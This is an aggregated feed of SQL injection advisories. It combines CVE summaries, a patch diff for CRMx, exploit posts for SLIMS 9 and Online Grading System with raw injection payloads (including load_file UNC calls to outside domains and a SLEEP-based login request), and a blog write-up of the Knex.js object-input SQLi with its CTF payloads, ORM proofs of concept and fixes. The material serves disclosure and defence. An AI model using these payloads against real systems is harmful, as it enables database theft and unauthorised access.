A vulnerability classified as critical was found in laravel-jqgrid. Affected by this vulnerability is the function getRows of the file src/Mgallegos/LaravelJqgrid/Repositories/EloquentRepositoryAbstract.php. The manipulation leads to sql injection. The name of the patch is fbc2d94f43d0dc772767a5bdb2681133036f935e. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216271.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-4262: preventing sql injection by wuwx · Pull Request #72 · mgallegos/laravel-jqgrid

The JoomSport WordPress plugin before 5.2.8 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users

CVE-2022-4050

Senayan Library Management System version 9.2.0 suffers from a remote SQL Injection vulnerability.

    ## Title: Senayan Library Management System v9.2.0 a.k.a SLIMS 9 SQLi## Author: nu11secur1ty## Date: 12.19.2022## Vendor: https://slims.web.id/web/## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.2.0## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.0/SQLi## Description:The manual insertion `point 5` appears to be vulnerable to SQLinjection attacks. The payload '+(selectload_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.stupid.com\\dzd'))+'was submitted in the manual insertion `point 5`.This payload injects a SQL sub-query that calls MySQL's load_filefunction with a UNC file path that references a URL on an externaldomain.The application interacted with that domain, indicating that theinjected SQL query was executed.The attacker can take information from all database columns of thissystem by using this vulnerability.## STATUS: HIGH Vulnerability - CRITICAL[+] Payload:```MySQL---Parameter: class (GET)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BYor GROUP BY clause    Payload: reportView=true&year=2002&class=bbbb'+(selectload_file('\\\\716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''RLIKE (SELECT (CASE WHEN (8839=8839) THEN 0x62626262+(selectload_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''ELSE 0x28 END)) AND'IzAa'='IzAa&membershipType=a''&collType=aaaa'+(selectload_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(selectload_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id\\dzd'))+'---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.0/SQLi)## Proof and Exploit:[href](https://streamable.com/jy5pql)## Time spent`00:10:00`## Writing an exploit`00:05:00`

Senayan Library Management System 9.2.0 SQL Injection

Senayan Library Management System version 9.1.1 suffers from a remote SQL injection vulnerability.

    ## Title: Senayan Library Management System v9.1.1 a.k.a SLIMS 9 SQLi## Author: nu11secur1ty## Date: 11.09.2022## Vendor: https://slims.web.id/web/## Software: https://github.com/slims/slims9_bulian/releases/download/v9.1.1/slims9_bulian-9.1.1.zip## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1/SQLi## Description:The `class` parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+'was submitted in the class parameter.This payload injects a SQL sub-query that calls MySQL's load_filefunction with a UNC file path that references a URL on an externaldomain.The application interacted with that domain, indicating that theinjected SQL query was executed.The attacker can take information from all database columns of thissystem by using this vulnerability.## STATUS: HIGH Vulnerability - CRITICAL[+] Payload:```MySQL---Parameter: class (GET)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BYor GROUP BY clause    Payload: reportView=true&year=2002&class=bbbb'+(selectload_file('\\\\716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''RLIKE (SELECT (CASE WHEN (7860=7860) THEN 0x62626262+(selectload_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''ELSE 0x28 END)) AND'xGIA'='xGIA&membershipType=a''&collType=aaaa'+(selectload_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+'---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1/SQLi)## Proof and Exploit:[href](https://streamable.com/3li3zp)## Time spent`00:30:00`## Writing an exploit`00:15:00`

Senayan Library Management System 9.1.1 SQL Injection

Knex Knex.js through 2.3.0 has a limited SQL injection vulnerability that can be exploited to ignore the WHERE clause of a SQL query.

**Knex.js has a limited SQL injection vulnerability**

Moderate severity GitHub Reviewed Published Dec 19, 2022 • Updated Dec 20, 2022

GHSA-4jv9-3563-23j3: Knex.js has a limited SQL injection vulnerability

**Overview**

Knex.js has a **limited SQL injection vulnerability** that can be exploited to ignore the 
  WHERE
  clause of a SQL query. The only prerequisite is that the backend database management system is MySQL. The vulnerability was brought to my attention by Alok Menghrajani's CTF challenge called xark
   during SquareCTF 2022 , that showcased the SQLi vulnerability that was first reported 6+ years ago . In Alok's CTF challenge, the latest version of Knex.js was used (version 2.3.0 at the time of writing this article) and the vulnerable code snippet is shown below.

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

The following screenshot was my payload that I used to exploit the SQLi vulnerability in 
  xark
  to modify the 
  WHERE
  statement to query using a column called 
  message
  by setting the type to an 
  Object
  . **Knex.js does not reject 
   Objects
   or 
   Array
   variables that get inserted into SQL queries and results in a valid MySQL query!**

Otherwise, if the column is set as an index the following SQLi payload returns rows by index value instead of string comparison.

**After further investigating the vulnerability I found that using 
   where
   from Knex.js is vulnerable to SQLi, even with parameter binding!**

This vulnerability affects thousands of NodeJS packages that do not reject 
  Object
  and 
  Array
  column values and use 
  knex
  to build SQL queries.

**Table of Contents**

*   Overview
*   Table of Contents
*   Introduction
*   Explaining the SQLi Vulnerability
    *   Writeup for xark
    *   How does the vulnerability work?
        *   How SQLi Using a Different Column Works
        *   SQLi Using Index Value
    *   Binding Parameters Does Not Prevent the SQLi
*   Impact to Other NodeJS Packages
*   Recommendations
*   Acknowledgements

**Introduction**

_Before I begin, I do apologise for any grammar mistakes. I had COVID at the time of writing this article and I will fix it up later._

Last weekend, I participated in the 2022 Square CTF to satiate my crippling addiction hacking websites. It was a pretty fun CTF event and I enjoyed completing the web challenges.

Alok Menghrajani's challenge named xark piqued my interest since it was a classic NodeJS SQL injection vulnerability, _but the code did not look it was using 
   knex
   insecurely (code snippet below)_ .

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

Knex.js version 2.3.0 was used in the challenge that was the latest version for the module, and the last SQL injection vulnerability for 
   knex
   was reported for versions 
   <0.19.5
   .

At first, I thought Alok snuck in a sneaky 0day into their CTF challenge. However, it turns out the vulnerability has been disclosed for **over 6 years** ...

_The vulnerability was first disclosed in February 2016_  

I felt compelled to write this article to raise awareness about the SQLi vulnerability in Knex.js. The vulnerability has already been publicly disclosed, so attention needs to be drawn to it to have it fixed. That's why I am skipping responsibly disclosing the vulnerability and going straight to public disclosure.

**Explaining the SQLi Vulnerability****Writeup for xark**

To explain the SQLi vulnerability in Knex.js, I will begin by doing a writeup for Alok's 
  xark
  challenge.

Starting the challenge, we are presented with a website for recording and viewing _anonymous crushes_ .

We were also provided with the following code snippet and can see the flag is inserted into the 
  crushes
  table.

**Source Code Provided with the Challenged**

constexpress=require('express');
require('express-async-errors');
config=require('config');

if(process.env.DATABASE_HOST!==null){
console.log(`Found custom database host: ${process.env.DATABASE_HOST}`);
config.knex.connection.host=process.env.DATABASE_HOST;
}

constapp=express();
constport=3001;
constknex=require('knex')(config.get('knex'));

knex.schema.hasTable('crushes').then(function(exists){
if(!exists){
console.log("crushes table doesn't exist, initializing...");
knex.schema.createTable('crushes',function(table){
table.increments('id').primary();
table.string('from').notNullable();
table.string('to').notNullable();
table.string('message').notNullable();
table.index(['to']);
}).then();
knex('crushes').insert({
from:config.init.flag,
to:config.init.flag,
message:'This is the flag!',
}).then();
}
});

app.use(express.static('html'));
app.use(express.json());
app.use(express.urlencoded({
extended:false
}));

app.get('/debug',async(req,res)=>{
// poor man's clone
constc=JSON.parse(JSON.stringify(config.get('knex')));
if(c.connection.password){
c.connection.password="*******";
}
res.status(200).send(c);
})

app.post('/record',async(req,res)=>{
if(req.body.from&&req.body.to&&req.body.message){
awaitknex('crushes').insert({
from:req.body.from,
to:req.body.to,
message:req.body.message,
});
res.status(200).send({});
}else{
res.status(400).send({});
}
});

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

app.use((err,req,res,next)=>{
console.error(err);
res.status(400).send({
error:err.message
});
});

app.listen(port,()=>{
console.log(`Listening on port ${port} in ${process.env.NODE_ENV}`);
});

So immediately I knew the goal was to exploit an SQL injection vulnerability to trick the web application to return the flag. First I researched vulnerabilities for Knex.js, but found that the last SQLi vulnerability was for versions 
  <0.19.5
  . So at first I thought the entrypoint was not exploiting Knex.js.

However, the CTF challenge had such limited functionality the only way to retrieve the flag is exploiting some SQLi vulnerability in Knex.js. I saw that the 
  express
  web application also accepted the 
  application/json
  content type, so I simply tried modify the 
  to
  POST parameter to an 
  Object
  .

That error message was a **huge indicator that I could do something funky with the filter in the 
   WHERE
   clause** . I knew from reading the source code that the flag was another column named 
  message
  , so I simply modified my payload to try querying using 
  message
  column instead of 
  to
  .

_Wot..._

After the CTF event was done, another competitor pointed out that you can also return a specific rows by index.

**How does the vulnerability work?**

As noted in the original Github issue , the vulnerability is only exploitable if Knex.js is used to connect to MySQL and is not exploitable for other database management systems ( _I have not verified this claim_ ).

So let's see what the actual queries look like that is being sent to the MySQL database. I will continue using the 
  xark
  challenge for explaining how the SQLi vulnerability in Knex.js works. First you can configure the MySQL container to log all queries to a file do this by running the following script on the container.

#!/bin/bash

mkdir -p /var/log/mysql;
if [ ! -f /var/log/mysql/all.log ]; then
    touch /var/log/mysql/all.log
fi

chmod 777 /var/log/mysql/all.log
mysql -u root -ppass -e "SET global log_output = 'FILE'; SET global general_log_file='/var/log/mysql/all.log'; SET global general_log = 1;"

Now all SQL queries will be logged at 
  /var/log/mysql/all.log
  .

**How SQLi Using a Different Column Works**

Let's rerun the 
  {"to":{"message":"This is the flag!"}}
  exploit and see the following query that is sent to the MySQL server.

select*from`crushes`where`to`=`message`='This is the flag!'limit50

Keys in the user input are wrapped with the 
  `
  character, which is a special character for defining quoted identifiers in MySQL queries. A quoted identifier is a way for wrapping a table, column or database name with quotes. Now the interesting thing with MySQL, is if you remove the quoted identifiers the query fails.

_Why does this MySQL query work with the quoted identifiers?_

To be honest, I don't have a good answer. I speculate it is because the quoted identifiers tells the MySQL server that 
  `to`
  and 
  `message`
  are column names, and since the 
  crushes
  table has those columns it does not cause an SQL error. Also experimenting with how MySQL will handle the SQL query, it appears that the MySQL server behaves _weirdly_ when a filter has multiple 
  =
  characters. For the 
  xark
  challenge I found that the first row is returned, but when I tested using a different script then the entire table was dumped. If you have a good explaination for this, please let me know.

**SQLi Using Index Value**

Now let's investigate how the payload 
  {"to":[0]}
  works by analysing the resulting query that Knex.js builds.

select*from`crushes`where`to`=0limit50

We can see in the source code for 
  xark
  that the the table index is set to the 
  to
  column.

...
knex.schema.createTable('crushes',function(table){
table.increments('id').primary();
table.string('from').notNullable();
table.string('to').notNullable();
table.string('message').notNullable();
table.index(['to']);
}).then();
...

Since the 
  to
  column is also the table index, we can query the 
  to
  column using **index values** as well as the string value.

It appears that Knex.js does _some filtering_ on the user input. So payloads such as 
  {"to":[0]}
  are rejected and trying to query for multiple index values causes a SQL syntax error.

**Binding Parameters Does Not Prevent the SQLi**

Alok's 
  xark
  challenge and the original Github issue all use the object syntax for calling 
   where
   . There other methods for calling 
  where
  that weren't tested ( screenshot of the API documentation from Knex.js ).

So I decided to modify source code of 
  xark
  to test if the SQLi vulnerability is only exploitable if the input is an object or if the 
  where
  method is vulnerable to SQLi no matter how 
  where
  is used.

_Testing key value input_

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where("to",req.body.to)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

_Testing using key value and operator_

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where("to","=",req.body.to)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

However, I was still able to exploit the SQLi vulnerability.

Therefore, using 
  where
  from Knex.js is vulnerable to SQLi.

It did pique my interest if Knex.js does implement parameter binding that _should_ prevent the SQLi vulnerabilities, because if so then this vulnerability would be an issue of bad documentation for explaining how to use Knex.js securely.

Turns out you can use parameter binding using 
   raw
   . They even say in the documentation that it prevents SQLi (screenshot below).

So let's see if I can still exploit the SQLi vulnerability even with prepared statements.

_Testing using prepared statements_

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where(
knex.raw("?? = ?",["to",req.body.to])
)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

_This is still vulnerable to SQLi..._

I even tried the following implementation to see if it would prevent SQLi. **It didn't...**

app.post('/data',async(req,res)=>{
if(req.body.to){
constwhereStatement=":column: = :value"
constcrushes=awaitknex('crushes')
.select()
.where(knex.raw(
whereStatement,{
column:"to",
value:req.body.to
}
))
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

The only implementation that I found that was not exploitable was when the column name was hardcoded into the query string.

_Causes an SQL syntax error since the column name is not wrapped with quoted identifiers._

app.post('/data',async(req,res)=>{
if(req.body.to){
constcrushes=awaitknex('crushes')
.select()
.where(
knex.raw("to = ?",[req.body.to])
)
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});

In conclusion...

**Knex.js is vulnerable to SQLi even if you use the raw parameter binding!**

**Impact to Other NodeJS Packages**

Knex.js is a tool for NodeJS developers to easily build SQL queries for multiple DBMS and the responsibility for security is also on those developers to ensure that they are securely using Knex.js.

**This leads to the next question, are NodeJS Object Relational Mappers (ORM) securely using Knex.js?**

In collaboration with Alok and my friend sradley , we tested the following NodeJS ORMs and found that most were vulnerable to the SQLi vulnerability.

ORM Package

Version

Is Currently Maintained

Vulnerable to SQLi

Bookshelf.js

v1.2.0

False

**TRUE**

Objection.js

v3.0.1

False

**TRUE**

mikro-orm

v5.5.3

True

False

For each of the tests, we had already created a table called 
  users
  with the following rows.

     name
    

     secret
    

admin

you should not be able to return this!

guest

hello world

**Confirming the Vulnerability in Bookshelf.js**

constknex=require('knex')({
client:'mysql2',
connection:{
host:'127.0.0.1',
user:'root',
password:'topsecret',
database:'testdb',
charset:'utf8'
}
})

constbookshelf=require('bookshelf')(knex)

constUser=bookshelf.model('User',{
tableName:'users'
})

newUser({secret:{"name":"admin"}}).fetch().then((user)=>{
console.log(user)
})
**Confirming the Vulnerability in Objection.js**

const{Model}=require('objection');
constknex=require('knex')({
client:'mysql2',
connection:{
host:'127.0.0.1',
user:'root',
password:'topsecret',
database:'testdb',
charset:'utf8'
}
})

Model.knex(knex)

classUserextendsModel{
staticgettableName(){
return'users'
}
}

User.query()
.where({secret:{"name":"admin"}})
.then((user)=>console.log(user))

The above approaches provides an easy way to test if you are securely handling 
  Objects
  while using Knex.js.

**Recommendations**

The key issue that enables exploiting the SQLi vulnerability is that Knex.js does not reject an input if it is an **Array**
   or an **Object**
   . JavaScript is a dynamically typed language, so users can manipulate the type of inputs .

So if you are either a maintainer of Knex.js or using the module in your project, **reject all inputs that will be inserted into a SQL query that are either an 
   Array
   or 
   Object
   type!**

For an example, you can use the JavaScript operator 
   typeof
   to reject any unexpected input types. The below code snippet is an example for only allowing numbers, strings and booleans ( **never allow 
   object**
   ).

constallowedTypes=[
"number",
"string",
"boolean"
]

if(!allowedTypes.includes(typeofuserInput)){
throw"Invalid type detected!"
}

For an example, I added the above allow list to 
  xark
  .

...
app.post('/data',async(req,res)=>{
if(req.body.to){
constallowedTypes=[
"number",
"string",
"boolean"
]

if(!allowedTypes.includes(typeofreq.body.to)){
returnres.status(400).send({
error:"Bugger off hacker!"
});
}

constcrushes=awaitknex('crushes')
.select()
.where({
to:req.body.to
})
.limit(50);
res.send(crushes);
}else{
res.status(400).send({});
}
});
...

Now when I retry the SQLi exploit it gets rejected.

**Acknowledgements**

A huge thank you to Alok Menghrajani for bringing this vulnerability to my attention and TheThing for originally disclosing the vulnerability. Also thank you to sradley
   for investigating the impact of this vulnerability in other NodeJS packages that use Knex.js.

**I wish all of the Knex.js maintainers the best for finding a suitable patch for this vulnerability.**

CVE-2016-20018: GhostCcamm's Cyber Misadventures

Improper Input Validation vulnerability in OTRS AG OTRS, OTRS AG ((OTRS)) Community Edition allows SQL Injection via TicketSearch Webservice This issue affects OTRS: from 7.0.1 before 7.0.40 Patch 1, from 8.0.1 before 8.0.28 Patch 1; ((OTRS)) Community Edition: from 6.0.1 through 6.0.34.

CVE-2022-4427

A vulnerability was found in luckyshot CRMx and classified as critical. This issue affects the function get/save/delete/comment/commentdelete of the file index.php. The manipulation leads to sql injection. The attack may be initiated remotely. The name of the patch is 8c62d274986137d6a1d06958a6f75c3553f45f8f. It is recommended to apply a patch to fix this issue. The identifier VDB-216185 was assigned to this vulnerability.

@@ -212,7 +212,7 @@ function search($s='') { foreach ($w as &$wi) { $wi = "(name LIKE '%".$c\->real\_escape\_string($wi)."%' OR form LIKE '%".$c\->real\_escape\_string($wi)."%' OR comments LIKE '%".$c\->real\_escape\_string($wi)."%') "; } $q = "SELECT id, name, form FROM ".$\_SESSION\['dbprefix'\]."people WHERE ". implode(' AND ', $w) ." ORDER BY name ASC LIMIT 0, 50"; $q = "SELECT \`id\`, \`name\`, \`form\` FROM \`".$\_SESSION\['dbprefix'\]."people\` WHERE ". implode(' AND ', $w) ." ORDER BY \`name\` ASC LIMIT 0, 50"; $people = db($q, $c);  
foreach($people as &$person) { @@ -247,9 +247,9 @@ function get($detail) { }else{ global $c; if (is\_numeric($detail)) { $people = db("SELECT \* FROM ".$\_SESSION\['dbprefix'\]."people WHERE id = ".$c\->real\_escape\_string($detail)." LIMIT 1", $c); $people = db("SELECT \* FROM \`".$\_SESSION\['dbprefix'\]."people\` WHERE \`id\` = '".$c\->real\_escape\_string($detail)."' LIMIT 1;", $c); }else{ $people = db("SELECT \* FROM ".$\_SESSION\['dbprefix'\]."people WHERE name LIKE '%".$c\->real\_escape\_string($detail)."%' OR form LIKE '%".$c\->real\_escape\_string($detail)."%' ORDER BY updated DESC LIMIT 1", $c); $people = db("SELECT \* FROM \`".$\_SESSION\['dbprefix'\]."people\` WHERE \`name\` LIKE '%".$c\->real\_escape\_string($detail)."%' OR \`form\` LIKE '%".$c\->real\_escape\_string($detail)."%' ORDER BY \`updated\` DESC LIMIT 1;", $c); } if ($people) { $people = $people\[0\]; @@ -297,12 +297,12 @@ function save() { } //var\_dump($array); if ($\_POST\['id'\]) { // update details $q = "UPDATE ".$\_SESSION\['dbprefix'\]."people SET form = '".$c\->real\_escape\_string(json\_encode($array))."', name = '".$c\->real\_escape\_string($\_POST\['name'\])."', \`updated\` = '".time()."' WHERE id = ".($\_POST\['id'\]).";"; $q = "UPDATE \`".$\_SESSION\['dbprefix'\]."people\` SET \`form\` = '".$c\->real\_escape\_string(json\_encode($array))."', \`name\` = '".$c\->real\_escape\_string($\_POST\['name'\])."', \`updated\` = '".time()."' WHERE \`id\` = '".$c\->real\_escape\_string($\_POST\['id'\])."';"; }else{ // create new $q = "INSERT INTO ".$\_SESSION\['dbprefix'\]."people VALUES ( $q = "INSERT INTO \`".$\_SESSION\['dbprefix'\]."people\` VALUES ( NULL, '".$c\->real\_escape\_string($\_POST\['name'\])."', '".$c\->real\_escape\_string(json\_encode($array))."', @@ -319,7 +319,7 @@ function save() { $response = json(array('status'\=>'success','message'\=>'Contact details saved')); }else{ // Get the ID $q = "SELECT id from ".$\_SESSION\['dbprefix'\]."people ORDER BY id DESC LIMIT 1"; $q = "SELECT \`id\` FROM \`".$\_SESSION\['dbprefix'\]."people\` ORDER BY \`id\` DESC LIMIT 1;"; $id = db($q, $c); $response = json(array('id'\=>$id\[0\]\['id'\],'status'\=>'success','message'\=>'New contact created')); } @@ -348,7 +348,7 @@ function delete($id) { $response = json(array('status'\=>'error','message'\=>"Your user cannot delete")); }else{ global $c; $deletion = db("DELETE FROM ".$\_SESSION\['dbprefix'\]."people WHERE id = ".$c\->real\_escape\_string($id)."", $c); $deletion = db("DELETE FROM \`".$\_SESSION\['dbprefix'\]."people\` WHERE \`id\` = '".$c\->real\_escape\_string($id)."';", $c);  
if ($deletion) { $response = json(array('status'\=>'success','message'\=>'Contact deleted')); @@ -386,7 +386,7 @@ function comment($id) { json(array('status'\=>'error','message'\=>$lang\['writecommentfirst'\])); }else{ global $c; $comments = db("SELECT comments FROM ".$\_SESSION\['dbprefix'\]."people WHERE id = ".$c\->real\_escape\_string($\_POST\['id'\])."", $c); $comments = db("SELECT \`comments\` FROM \`".$\_SESSION\['dbprefix'\]."people\` WHERE id = '".$c\->real\_escape\_string($\_POST\['id'\])."';", $c); $comments = json\_decode($comments\[0\]\['comments'\], true); //var\_dump($comments); array\_unshift($comments, array( @@ -395,7 +395,7 @@ function comment($id) { 'date' => date('c', time()), // iso 8601 format 'text' => $\_POST\['comment'\] )); $q = "UPDATE ".$\_SESSION\['dbprefix'\]."people SET comments = '".$c\->real\_escape\_string(json\_encode($comments))."' WHERE id = ".$c\->real\_escape\_string($\_POST\['id'\]).""; $q = "UPDATE \`".$\_SESSION\['dbprefix'\]."people\` SET \`comments\` = '".$c\->real\_escape\_string(json\_encode($comments))."' WHERE \`id\` = '".$c\->real\_escape\_string($\_POST\['id'\])."';"; $result = db($q, $c);  
if ($result) { @@ -419,7 +419,7 @@ function commentdelete($id) { }else{ global $c; // load comments from person $person = db("SELECT id,comments FROM ".$\_SESSION\['dbprefix'\]."people WHERE comments LIKE '%".$c\->real\_escape\_string($id)."%' ORDER BY updated DESC LIMIT 1", $c); $person = db("SELECT \`id\`, \`comments\` FROM \`".$\_SESSION\['dbprefix'\]."people\` WHERE \`comments\` LIKE '%".$c\->real\_escape\_string($id)."%' ORDER BY \`updated\` DESC LIMIT 1;", $c); $person\[0\]\['comments'\] = json\_decode($person\[0\]\['comments'\], true); // remove from array foreach($person\[0\]\['comments'\] as $key => $comment) { @@ -429,9 +429,9 @@ function commentdelete($id) { } } // update person $result = db("UPDATE ".$\_SESSION\['dbprefix'\]."people SET comments = '".$c\->real\_escape\_string(json\_encode($person\[0\]\['comments'\]))."' WHERE id = ".($person\[0\]\['id'\]).";", $c); $result = db("UPDATE \`".$\_SESSION\['dbprefix'\]."people\` SET \`comments\` = '".$c\->real\_escape\_string(json\_encode($person\[0\]\['comments'\]))."' WHERE \`id\` = '".($person\[0\]\['id'\])."';", $c); if ($result) { $response = json(array( 'status'\=>'success',

CVE-2022-4592: FIX SQL Injection Vulnerabilities following report by pm_security_report · luckyshot/CRMx@8c62d27

A vulnerability was found in roxlukas LMeve and classified as critical. Affected by this issue is some unknown functionality of the component Login Page. The manipulation of the argument X-Forwarded-For leads to sql injection. The attack may be launched remotely. The name of the patch is 29e1ead3bb1c1fad53b77dfc14534496421c5b5d. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216176.

CVE-2021-4246

A SQL injection vulnerability in Sourcecodester Online Grading System 1.0 allows remote attackers to execute arbitrary SQL commands via the uname parameter.

    # Exploit Title: Online Grading System 1.0 - 'uname' SQL Injection
    # Date: 2021-01-28
    # Exploit Author: Ruchi Tiwari
    # Vendor Homepage: https://www.sourcecodester.com/php/13711/online-grading-system-using-phpmysqli.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlinegradingsystem.zip
    # Version: 1.0
    # Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
    
    ---------------------------------------------------------------------------------
    
    #parameter Vulnerable: uname
    # Injected Request
    POST /onlinegradingsystem/admin/login.php HTTP/1.1
    Host: localhost:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 122
    Origin: http://localhost:8080
    Connection: close
    Referer: http://localhost:8080/onlinegradingsystem/admin/login.php
    Cookie: PHPSESSID=mavnqgmmv1o0vtqld99vtdv1us
    Upgrade-Insecure-Requests: 1
    
    uname=ruchi'||(SELECT 0x4375526c WHERE 6468=6468 AND (SELECT 4401 FROM (SELECT(SLEEP(20)))ariq))||'&pass=admin&btnlogin=
    
    #Application will load after 20 minutes.
    --------------------------------------------------------------------------------------------------------------------

Tag

#sql